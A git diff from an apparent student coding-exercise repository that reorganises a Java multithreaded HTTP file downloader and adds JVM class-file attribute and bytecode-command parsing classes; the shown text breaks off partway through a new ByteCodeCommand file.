-	public static long getCurrentTime() {
-		return System.currentTimeMillis();
+	public static int calculateConnects(int length) {
+		int conns = length / 1024 / 1024 / 10;
+		if (conns < MIN_CONNECTIONS) {
+			return MIN_CONNECTIONS;
+		} else if (conns > MAX_CONNECTIONS) {
+			return MAX_CONNECTIONS;
+		} else {
+			return conns;
+		}
 	}
 
 	public static void createTempFile(String tempName, int len) {
@@ -44,15 +51,14 @@ public static void createTempFile(String tempName, int len) {
 		}
 	}
 
-	public static int calculateConnects(int length) {
-		int conns = length / 1024 / 1024 / 10;
-		if (conns < MIN_CONNECTIONS) {
-			return MIN_CONNECTIONS;
-		} else if (conns > MAX_CONNECTIONS) {
-			return MAX_CONNECTIONS;
-		} else {
-			return conns;
-		}
+	public static long getCurrentTime() {
+		return System.currentTimeMillis();
+	}
+
+	public static void printDownloadReport(int length, long start, long end) {
+		int time = (int) ((end - start) / 1000);
+		float speed = (float) length / 1024 / 1024 / time;
+		System.out.println("共耗时：" + time + "s，下载速度： " + (float) (Math.round(speed * 100)) / 100 + "Mb/s");
 	}
 
 	public static boolean rename(String from, String to) {
@@ -64,10 +70,4 @@ public static boolean rename(String from, String to) {
 		return false;
 	}
 
-	public static void printDownloadReport(int length, long start, long end) {
-		int time = (int) ((end - start) / 1000);
-		float speed = (float) length / 1024 / 1024 / time;
-		System.out.println("共耗时：" + time + "s，下载速度： " + (float) (Math.round(speed * 100)) / 100 + "Mb/s");
-	}
-
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/download/FileDownloader.java b/group12/382266293/src/com/coderising/download/FileDownloader.java
index 671ff7243c..311ebede84 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloader.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloader.java
@@ -9,20 +9,45 @@ public class FileDownloader {
 
 	private final static String EXT = "lyj";
 	private static DownloadThread[] threadPool;
+	private static String fileName;
+	private static String tempName;
+
 	private int finishedCount;
 	public String downloadLocation;
-
 	String url;
 	ConnectionManager cm;
 	DownloadListener listener;
-	private static String fileName;
-	private static String tempName;
 
 	public FileDownloader(String _url) {
 		this.url = _url;
 		this.finishedCount = 0;
 	}
 
+	private boolean checkFinish(int links) {
+
+		while (finishedCount != links) {
+			try {
+				Thread.sleep(5000);
+				System.out.println("Unfinshed threads number: " + (links - finishedCount));
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		return true;
+	}
+
+	private void checkLength(int length, Connection conn) {
+		if (length <= 0) {
+			try {
+				throw new ConnectionException("file does not exist");
+			} catch (ConnectionException e) {
+				e.printStackTrace();
+			} finally {
+				conn.close();
+			}
+		}
+	}
+
 	public void execute() {
 		// 在这里实现你的代码， 注意： 需要用多线程实现下载
 		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
@@ -75,44 +100,6 @@ public void execute() {
 		}
 	}
 
-	private void checkLength(int length, Connection conn) {
-		if (length <= 0) {
-			try {
-				throw new ConnectionException("file does not exist");
-			} catch (ConnectionException e) {
-				e.printStackTrace();
-			} finally {
-				conn.close();
-			}
-		}
-	}
-
-	private void setTempName(String name) {
-		String temp = name.substring(0, name.lastIndexOf(".") + 1) + EXT;
-		FileDownloader.tempName = downloadLocation + temp;
-	}
-
-	private void setFileName(String name) {
-		FileDownloader.fileName = downloadLocation + name;
-	}
-
-	private void setLocation(String downloadLocation) {
-		this.downloadLocation = downloadLocation;
-	}
-
-	private boolean checkFinish(int links) {
-
-		while (finishedCount != links) {
-			try {
-				Thread.sleep(5000);
-				System.out.println("Unfinshed threads number: " + (links - finishedCount));
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		return true;
-	}
-
 	private void freeDownloadThread() {
 		if (threadPool != null) {
 			for (int i = 0; i < threadPool.length; i++) {
@@ -134,6 +121,12 @@ public DownloadListener getListener() {
 		return this.listener;
 	}
 
+	private void setAndStartThread(DownloadThread downloadThread, String dest) {
+		downloadThread.setDest(dest);
+		downloadThread.setFileDownloader(this);
+		downloadThread.start();
+	}
+
 	private void setAndStartThreadPool(Connection conn, DownloadThread[] threadPool, int length)
 			throws ConnectionException {
 		int connectionNumbers = threadPool.length;
@@ -156,22 +149,29 @@ private void setAndStartThreadPool(Connection conn, DownloadThread[] threadPool,
 		}
 	}
 
-	private void setAndStartThread(DownloadThread downloadThread, String dest) {
-		downloadThread.setDest(dest);
-		downloadThread.setFileDownloader(this);
-		downloadThread.start();
-	}
-
 	public void setConnectionManager(ConnectionManager ucm) {
 		this.cm = ucm;
 	}
 
-	public void setThreadFinished() {
-		finishedCount++;
+	private void setFileName(String name) {
+		FileDownloader.fileName = downloadLocation + name;
 	}
 
 	public void setListener(DownloadListener listener) {
 		this.listener = listener;
 	}
 
+	private void setLocation(String downloadLocation) {
+		this.downloadLocation = downloadLocation;
+	}
+
+	private void setTempName(String name) {
+		String temp = name.substring(0, name.lastIndexOf(".") + 1) + EXT;
+		FileDownloader.tempName = downloadLocation + temp;
+	}
+
+	public void setThreadFinished() {
+		finishedCount++;
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
index 88a5dba40e..b9c458d2a6 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
@@ -9,20 +9,20 @@
 import com.coderising.download.impl.ConnectionManagerImpl;
 
 public class FileDownloaderTest {
-	boolean downloadFinished = false;
+	public static String qq = "http://sw.bos.baidu.com/sw-search-sp/software/89179b0b248b1/QQ_8.9.20026.0_setup.exe";
+
+	public static String picture = "http://image.beekka.com/blog/201304/bg2013042401.jpg";
+
+	public static String foxmail = "http://sw.bos.baidu.com/sw-search-sp/software/6c7bb8b6674d0/fm728chb379_7.2.8.379_setup.exe";
 
+	boolean downloadFinished = false;
 	@Before
 	public void setUp() throws Exception {
 	}
-
 	@After
 	public void tearDown() throws Exception {
 	}
 
-	public static String qq = "http://sw.bos.baidu.com/sw-search-sp/software/89179b0b248b1/QQ_8.9.20026.0_setup.exe";
-	public static String picture = "http://image.beekka.com/blog/201304/bg2013042401.jpg";
-	public static String foxmail = "http://sw.bos.baidu.com/sw-search-sp/software/6c7bb8b6674d0/fm728chb379_7.2.8.379_setup.exe";
-
 	@Test
 	public void testDownload() {
 
diff --git a/group12/382266293/src/com/coderising/download/api/Connection.java b/group12/382266293/src/com/coderising/download/api/Connection.java
index 11a0eab3d8..53293962a0 100644
--- a/group12/382266293/src/com/coderising/download/api/Connection.java
+++ b/group12/382266293/src/com/coderising/download/api/Connection.java
@@ -4,15 +4,10 @@
 
 public interface Connection {
 	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * 
-	 * @param startPos
-	 *            开始位置， 从0开始
-	 * @param endPos
-	 *            结束位置
-	 * @return
+	 * 关闭连接
 	 */
-	public byte[] read(int startPos, int endPos) throws IOException;
+
+	public void close();
 
 	/**
 	 * 得到数据内容的长度
@@ -21,15 +16,20 @@ public interface Connection {
 	 */
 	public int getContentLength();
 
-	/**
-	 * 关闭连接
-	 */
+	public String getFileName();
 
-	public void close();
+	public boolean isFinished();
 
-	public String getFileName();
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * 
+	 * @param startPos
+	 *            开始位置， 从0开始
+	 * @param endPos
+	 *            结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos, int endPos) throws IOException;
 
 	public void setFinished();
-
-	public boolean isFinished();
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
index a4fa5c15ad..7c772bc665 100644
--- a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
@@ -12,8 +12,8 @@
 
 public class ConnectionImpl implements Connection {
 
-	private ConnectionManager cm;
 	private static int buffer_size = 1024;
+	private ConnectionManager cm;
 	private HttpURLConnection httpConn;
 	private URL url;
 	private boolean finished = false;
@@ -28,6 +28,31 @@ public ConnectionImpl(ConnectionManager cm, String _url) {
 		}
 	}
 
+	@Override
+	public void close() {
+		httpConn.disconnect();
+	}
+
+	@Override
+	public int getContentLength() {
+		int len = httpConn.getContentLength();
+
+		return len;
+
+	}
+
+	@Override
+	public String getFileName() {
+		String fileName = httpConn.getURL().getFile();
+		fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
+		return fileName;
+	}
+
+	@Override
+	public boolean isFinished() {
+		return finished;
+	}
+
 	@Override
 	public byte[] read(int startPos, int endPos) throws IOException {
 		InputStream in = null;
@@ -60,34 +85,9 @@ public byte[] read(int startPos, int endPos) throws IOException {
 		return null;
 	}
 
-	@Override
-	public int getContentLength() {
-		int len = httpConn.getContentLength();
-
-		return len;
-
-	}
-
-	@Override
-	public void close() {
-		httpConn.disconnect();
-	}
-
-	@Override
-	public String getFileName() {
-		String fileName = httpConn.getURL().getFile();
-		fileName = fileName.substring(fileName.lastIndexOf('/') + 1);
-		return fileName;
-	}
-
 	@Override
 	public void setFinished() {
 		finished = true;
 	}
 
-	@Override
-	public boolean isFinished() {
-		return finished;
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
index 122073e37b..c4634733d5 100644
--- a/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ b/group12/382266293/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -16,6 +16,15 @@ public ConnectionManagerImpl() {
 		this.connections = 0;
 	}
 
+	private void checkConnectionSize() {
+		if (connections > MAX_CONNECTION_SIZE)
+			try {
+				throw new NoFreeSourceException("No free connections available.");
+			} catch (NoFreeSourceException e) {
+				e.printStackTrace();
+			}
+	}
+
 	@Override
 	public Connection open(String url) throws ConnectionException {
 		this.url = url;
@@ -33,13 +42,4 @@ public Connection open(String url) throws ConnectionException {
 		return null;
 	}
 
-	private void checkConnectionSize() {
-		if (connections > MAX_CONNECTION_SIZE)
-			try {
-				throw new NoFreeSourceException("No free connections available.");
-			} catch (NoFreeSourceException e) {
-				e.printStackTrace();
-			}
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java b/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
index 834a68d702..34521a5cd7 100644
--- a/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
+++ b/group12/382266293/src/com/coderising/download/impl/DownloadUtil.java
@@ -6,10 +6,6 @@
 
 public class DownloadUtil {
 
-	public static long getCurrentTime() {
-		return System.currentTimeMillis();
-	}
-
 	public static void createTempFile(String tempName, int len) {
 		File file = new File(tempName);
 		if (file.exists()) {
@@ -41,4 +37,8 @@ public static void createTempFile(String tempName, int len) {
 		}
 	}
 
+	public static long getCurrentTime() {
+		return System.currentTimeMillis();
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java b/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
index 68a628ec61..99c0183e02 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/CodeAttr.java
@@ -1,52 +1,18 @@
 package com.coderising.jvm.attr;
 
-import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 
 public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		//this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 int attrNameIndex = iter.nextU2ToInt();
 		 
-		 System.out.println("attrIndex " + attrNameIndex);
-		 
 		 int attrLen = iter.nextU4ToInt();
 
 		 int maxStack = iter.nextU2ToInt();
@@ -57,11 +23,13 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 
 		 System.out.println("codeLen " + codeLen);
 		 
-		 CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, "Code");
-		 
 		 String code = iter.nextUxToHexString(codeLen);
 
-		 System.out.println("Code is " + code);
+		 ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		 CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
+
+		System.out.println("Code is " + code);
+		System.out.println(Arrays.toString(cmds));
 		 
 		 int exceptionTableLen = iter.nextU2ToInt();
 		 
@@ -104,6 +72,35 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		 
 		 return codeAttr;
 	}
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public String getCode() {
+		return code;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+	
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
 	
 	
 	private void setStackMapTable(StackMapTable t) {
@@ -111,8 +108,22 @@ private void setStackMapTable(StackMapTable t) {
 		
 	}
 
-	
-	
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
 	
 	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java b/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
index 22941f83b1..f6a8c2e64b 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -6,35 +6,59 @@
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
 	private static class LineNumberItem{
 		int startPC;
 		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
 		public int getLineNum() {
 			return lineNum;
 		}
+		public int getStartPC() {
+			return startPC;
+		}
 		public void setLineNum(int lineNum) {
 			this.lineNum = lineNum;
 		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
 	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		int attrNameIndex = iter.nextU2ToInt();
+		 
+		int attrLen = iter.nextU4ToInt();
+		 
+		int line_number_table_length = iter.nextU2ToInt();
+		
+		LineNumberTable lnt = new LineNumberTable(attrNameIndex, attrLen);
+		
+		
+		for (int i = 0; i < line_number_table_length; i++) {
+			
+			LineNumberItem lni = new LineNumberItem();
+			
+			int start_pc = iter.nextU2ToInt();
+			lni.setStartPC(start_pc);
+			
+			int line_number = iter.nextU2ToInt();
+			lni.setLineNum(line_number);
+			
+			lnt.addLineNumberItem(lni);
+		}
+		 
+
+
+		return lnt;
 	}
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
 	public LineNumberTable(int attrNameIndex, int attrLen) {
 		super(attrNameIndex, attrLen);
 		
 	}
 	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
 	}
 	
 	
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
index 3eb2654e36..80f3af5cd5 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -6,34 +6,34 @@ public class LocalVariableItem {
 	private int nameIndex;
 	private int descIndex;
 	private int index;
-	public int getStartPC() {
-		return startPC;
+	public int getDescIndex() {
+		return descIndex;
 	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
+	public int getIndex() {
+		return index;
 	}
 	public int getLength() {
 		return length;
 	}
-	public void setLength(int length) {
-		this.length = length;
-	}
 	public int getNameIndex() {
 		return nameIndex;
 	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
+	public int getStartPC() {
+		return startPC;
 	}
 	public void setDescIndex(int descIndex) {
 		this.descIndex = descIndex;
 	}
-	public int getIndex() {
-		return index;
-	}
 	public void setIndex(int index) {
 		this.index = index;
 	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
index fa69dc9bdb..8a63e31269 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -5,24 +5,67 @@
 import java.util.List;
 
 import com.coderising.jvm.constant.ConstantPool;
-
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class LocalVariableTable extends AttributeInfo{
 
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		 
+		int attrLen = iter.nextU4ToInt();
+		 
+		int local_variable_table_length = iter.nextU2ToInt();
+		
+		LocalVariableTable lvt = new LocalVariableTable(attrNameIndex, attrLen);
+		
+		
+		for (int i = 0; i < local_variable_table_length; i++) {
+			
+			LocalVariableItem lvi = new LocalVariableItem();
+			
+			int start_pc = iter.nextU2ToInt();
+			lvi.setStartPC(start_pc);
+			
+			int length = iter.nextU2ToInt();
+			lvi.setLength(length);
+			
+			int name_index = iter.nextU2ToInt();
+			lvi.setNameIndex(name_index);
+			
+			int desc_index = iter.nextU2ToInt();
+			lvi.setDescIndex(desc_index);
+			
+			int index = iter.nextU2ToInt();
+			lvi.setIndex(index);
+			
+			lvt.addLocalVariableItem(lvi);
+		}
+		 
+		return lvt;
+	}
 	
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
 	public LocalVariableTable(int attrNameIndex, int attrLen) {
 		super(attrNameIndex, attrLen);		
 	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
+
 	private void addLocalVariableItem(LocalVariableItem item) {
 		this.items.add(item);		
 	}
 	
 	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java b/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
index 44c5d90d46..0dd885a940 100644
--- a/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
+++ b/group12/382266293/src/com/coderising/jvm/attr/StackMapTable.java
@@ -5,12 +5,6 @@
 
 public class StackMapTable extends AttributeInfo{
 	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
 	public static StackMapTable parse(ByteCodeIterator iter){
 		int index = iter.nextU2ToInt();
 		int len = iter.nextU4ToInt();
@@ -23,6 +17,12 @@ public static StackMapTable parse(ByteCodeIterator iter){
 		return t;
 	}
 
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
 	private void setOriginalCode(String code) {
 		this.originalCode = code;
 		
diff --git a/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java b/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
index 17dd61f8b6..20e86330df 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/AccessFlag.java
@@ -3,6 +3,11 @@
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class AccessFlag {
+	public static AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
+	}
+
 	private int flagValue;
 
 	public AccessFlag(int value) {
@@ -13,20 +18,15 @@ public int getFlagValue() {
 		return flagValue;
 	}
 
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
 	}
 
 	public boolean isPublicClass() {
 		return (this.flagValue & 0x0001) != 0;
 	}
 
-	public boolean isFinalClass() {
-		return (this.flagValue & 0x0010) != 0;
-	}
-
-	public static AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
-		return accessFlag;
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
 	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
index 6e37d03643..111cb247d3 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
@@ -5,6 +5,7 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
 
@@ -19,45 +20,57 @@ public class ClassFile {
 	private List<Field> fields = new ArrayList<Field>();
 	private List<Method> methods = new ArrayList<Method>();
 
-	public ClassIndex getClzIndex() {
-		return clzIndex;
+	public void addField(Field field) {
+		
+		this.fields.add(field);
+		
+	}
+
+	public void addMethod(Method method) {
+		
+		this.methods.add(method);
+		
 	}
 
 	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
 
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
+	public String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
 	}
 
 	public ConstantPool getConstantPool() {
 		return pool;
 	}
 
-	public int getMinorVersion() {
-		return minorVersion;
-	}
+	public List<Field> getFields() {
 
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
+		return fields;
 	}
 
 	public int getMajorVersion() {
 		return majorVersion;
 	}
 
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
+	public List<Method> getMethods() {
 
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
+		return methods;
+	}
 
+	public int getMinorVersion() {
+		return minorVersion;
 	}
 
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
+	public String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
 	}
 
 	public void print() {
@@ -71,20 +84,17 @@ public void print() {
 
 	}
 
-	private String getClassName() {
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
 	}
 
-	private String getSuperClassName() {
-		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
 	}
+	
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
 
-	public List<Field> getFields() {
-
-		return fields;
 	}
 	
 	public void setFields(List<Field> fields) {
@@ -92,16 +102,9 @@ public void setFields(List<Field> fields) {
 		this.fields = fields;
 		
 	}
-	
-	public void addField(Field field) {
-		
-		this.fields.add(field);
-		
-	}
 
-	public List<Method> getMethods() {
-
-		return methods;
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
 	}
 	
 	public void setMethods(List<Method> methods) {
@@ -110,9 +113,40 @@ public void setMethods(List<Method> methods) {
 		
 	}
 	
-	public void addMethod(Method method) {
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+
 		
-		this.methods.add(method);
+		for (Method m : methods) {
+			
+			int nameIndex = m.getNameIndex();
+			int descriptorIndex= m.getDescriptorIndex();
+			String name = ((UTF8Info)pool.getConstantInfo(nameIndex)).getValue();
+			String desc = ((UTF8Info)pool.getConstantInfo(descriptorIndex)).getValue();
+			if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
+				return m;
+			}		
+		}
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		for (Method m : methods) {
+			
+			int nameIndex = m.getNameIndex();
+			int descriptorIndex= m.getDescriptorIndex();
+			String name = ((UTF8Info)pool.getConstantInfo(nameIndex)).getValue();
+			String desc = ((UTF8Info)pool.getConstantInfo(descriptorIndex)).getValue();
+			if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
+				return m;
+			}		
+		}
 		
+		return null;
 	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java b/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
index 0212bc9fb3..213fb9163f 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/ClassIndex.java
@@ -4,19 +4,19 @@ public class ClassIndex {
 	private int thisClassIndex;
 	private int superClassIndex;
 
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-
 	public int getSuperClassIndex() {
 		return superClassIndex;
 	}
 
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+
 	public void setSuperClassIndex(int superClassIndex) {
 		this.superClassIndex = superClassIndex;
 	}
+
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
